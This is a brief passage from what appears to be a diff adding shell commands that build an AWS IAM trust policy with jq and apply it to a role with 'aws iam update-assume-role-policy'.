+} | jq -s '{"Version": "2012-10-17", "Statement": .}' > /tmp/policy.json
+aws iam update-assume-role-policy \
+  --role-name $ROLE_NAME \
+  --policy-document file:///tmp/policy.json